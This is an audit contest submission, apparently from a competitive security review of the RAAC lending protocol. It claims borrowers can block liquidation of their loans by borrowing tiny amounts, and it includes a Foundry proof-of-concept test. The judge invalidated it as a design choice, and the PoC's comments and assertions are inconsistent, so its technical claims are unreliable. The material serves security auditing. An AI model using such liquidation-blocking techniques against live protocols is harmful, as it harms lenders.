Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

Borrower can prevent their expired loan from being liquidated

Summary

Malicious borrower can prevent their prevent their expired loan from being liquidated

Vulnerability Details

Because the only requirement is that amount > 0, borrowers can potentially borrow extremely small amounts
This implementation allows malicious borrowers to prevent their expired loans from being liquidated by borrowing a small amount of debt

Proof Of Concept

See how to intigrate foundry to hardhat project
.Create a new file POC.t.sol in project /test/ folder . Paste the poc and run forge test --mt test_POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {RAACHousePrices} from "contracts/core/primitives/RAACHousePrices.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../contracts/core/tokens/DebtToken.sol";
import {crvUSDToken} from "contracts/mocks/core/tokens/crvUSDToken.sol";
import {ILendingPool} from "contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import {RAACMinter} from "../contracts/core/minters/RAACMinter/RAACMinter.sol";
contract Audit_Test is Test {
LendingPool public lendingPool;
StabilityPool public stabilityPool;
RAACNFT public raacNFT;
RAACHousePrices public priceOracle;
RToken public rToken;
DebtToken public debtToken;
crvUSDToken public crvusd;
DEToken public deToken;
RAACToken public raacToken;
RAACMinter public raacMinter;
address owner = makeAddr("owner");
uint256 constant INITIAL_PRIME_RATE = 1e27; // 1 RAY
function setUp() public {
vm.startPrank(owner);
// Base tokens
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
// Price oracle
priceOracle = new RAACHousePrices(owner);
priceOracle.setOracle(owner);
// NFT
raacNFT = new RAACNFT(address(crvusd), address(priceOracle), owner);
// Pool tokens
rToken = new RToken("RToken", "RT", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
deToken = new DEToken("DEToken", "DET", owner, address(rToken));
// Deploy LendingPool
uint256 initialPrimeRate = 0.1e27;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(priceOracle),
initialPrimeRate
);
// Deploy RAAC token with correct tax rates
raacToken = new RAACToken(owner, 1000, 1000);
// Deploy StabilityPool first
stabilityPool = new StabilityPool(owner);
// Deploy RAACMinter last
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
// Initialize StabilityPool
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
// Setup cross-contract references
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
vm.stopPrank();
}
function test_POC() public {
uint256 HOUSE_PRICE = 200 ;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 depositAmount = 200;
uint256 BORROW_AMOUNT = 1;
uint8 HOUSE_TOKEN_ID = 1;
// mint tokens to respective actors
vm.prank(owner);
crvusd.mint(alice, depositAmount);
crvusd.mint(bob, HOUSE_PRICE);
crvusd.mint(address(this),
10000 ether );
// alice deposits
vm.startPrank(alice);
crvusd.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
assertEq(rToken.balanceOf(alice), depositAmount);
// bob deposits nft as collaterial to borrow asset
vm.startPrank(bob);
crvusd.approve(address(raacNFT), HOUSE_PRICE);
raacNFT.mint(HOUSE_TOKEN_ID, HOUSE_PRICE);
raacNFT.approve(address(lendingPool), HOUSE_TOKEN_ID);
//deposit nft as collaterial
lendingPool.depositNFT(HOUSE_TOKEN_ID);
// Verify NFT is stuck in StabilityPool
assertEq(raacNFT.ownerOf(HOUSE_TOKEN_ID), address(lendingPool));
// borrow asset
lendingPool.borrow(BORROW_AMOUNT);
vm.stopPrank();
// owner sets loan position to be liquidated
vm.prank(owner);
priceOracle.setHousePrice(HOUSE_TOKEN_ID, HOUSE_PRICE/2);
vm.expectRevert();
lendingPool.initiateLiquidation(bob);
vm.prank(owner);
priceOracle.setHousePrice(HOUSE_TOKEN_ID, 1);
// can liquidate a small amount
vm.expectRevert();
lendingPool.initiateLiquidation(bob);
}
}

Impact

Dos

Tools Used

Manual Review

Recommendations

implement a minimum borrowing amount

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.